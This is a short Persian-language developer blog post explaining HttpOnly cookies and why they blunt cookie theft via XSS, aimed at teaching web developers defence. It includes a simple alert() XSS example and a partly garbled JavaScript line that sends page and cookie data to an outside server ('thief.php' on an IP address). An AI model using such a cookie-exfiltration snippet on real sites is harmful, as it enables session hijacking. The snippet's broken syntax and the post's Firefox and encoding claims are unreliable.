چند روز پیش برای رفع یه باگ که کلی پیدا کردنش طول کشیده بود به راهی رسیدم که از یک cookie که وجود داشت و از قبل ست شده بود استفاده کنم. وقتی سعی کردم با javaascript کوکی رو بخونم دیدم که وجود نداره در حالی که توی developer tools میتونستم کوکی رو ببینم!
این طوری شد که شروع کردم به تحقیق و چیز جدیدی پیدا کردم که تا حالا بهش بر نخورده بودم و یکم خجالت آور شد برام. اون هم cookie های http-only بود. نکته ای که در مورد این cookie ها وجود داره به طور خلاصه اینه که browser از خونده شدن اون ها توسط javascript جلوگیری میکنه. علتش هم مسائل امنیتیه (جایی خوندم که firefox به دلیل وجود یه باگ هنوز این feature رو نداره).
خب حالا چیزی که با چشم دیده میشه اما با کد خونده نمیشه چه جوری امنه؟
برای درک این مسئله باید یه کمی در مورد حمله های XSS اطلاعات داشته باشیم. Cross Site Scripting به روشی از حمله گفته میشه که هنگام باز کردن یک سایت یا وب اپلیکیشن اسکریپتی از منبعی غیر از اون سایت و بدون اجازه روی اون صفحه لود میشه. خب قدم خیلی ساده اینه اگه اون یه کد جاواسکریپت مخرب رو توسط یه ورودی به شما ارسال کنه مثل:
alert('hello XSS!');
خب اینجا خیلی راحت قابل پیشگیریه و اگه فرض کنیم نرم افزار شما ( یا فریم ورکی که استفاده کردید) به اندازه ی کافی باهوش باشه این ورودی رو از یک HTML Encoder عبور میده و اون رو تبدیل به یه متن بی خطر به شکل
%3Cscript%3Ealert('hello%20XSS!');%3C/script%3E
میکنه.
حالا ربط این به cookie ها چیه؟ همونطور که میدونین cookie میتونه حاوی اطلاعاتی در مورد session و اطلاعاتی از login کاربر باشه (که معمولا کد شدست و به راحتی قابل سواستفاده نیست) اما با این حال باید جلوی دزدیده شدنش رو گرفت. فرض کنید که این لایه امنیتی ساده encoder وجود نداشته باشه و فردی که اسکریپت مخرب رو لود کرده با یک خط کد ساده تمام اطلاعات cookie رو به یک سرور دیگه ارسال کنه، در این صورت در مدتی که اسکریپت مخرب روی سایت هدف لود بشه تمام cookie های کاربران در اختیار فرد خرابکار قرار میگیره. کد js این کار به همین سادگی میتونه باشه:
="http://1.2.3.4:81/thief.php?u=" +document.links[1].text +"&l="+document.links[1] +"&c="+;
حالا چی؟
برای اینکه مشکلی برای شما و اطلاعات کاربرانتون به این روش پیش نیاد باید به ۲ موضوع توجه کنین:
اول اینکه قرار نیست سایت یا اپلیکیشن شما نسبت به این حمله اساسا آسیب پذیر باشه و با پیاده سازی صحیح و استفاده از ابزار و زیرساخت های امن و به روز میشه تا حد خوبی نگرانی رو برطرف کرد.
دوم هم این که در صورت مواجه شدن با این مشکل حتما از قبل اطلاعات حساس احتمالی کاربر رو حتما به صورت encrypt شده و ترجیحا HttpOnly توی cookie ذخیره کنین.
برای اطلاعات دقیق تر در مورد جلوگیری از حمله XSS میتونین از این لینک کمک بگیرین.
اگه تجربه جالبی در مورد این مسئله دارین چه در مورد جلوگیریش و یا اگر تا حالا مورد این نوع حمله قرار گرفتید و یا اشکال و نقصی مشاهده میکنتین خوشحال میشم اینجا یا از طریق ایمیل مطرح کنین.
این مطلب رو برای کسایی که اعتقاد دارن Sanitizer خودشون بهتر از ابزار های آمادست یا برای ساده ترین پروژه های نرم افزاری از "فریم ورک خودشون" استفاده میکنن هم حتما بفرستید :)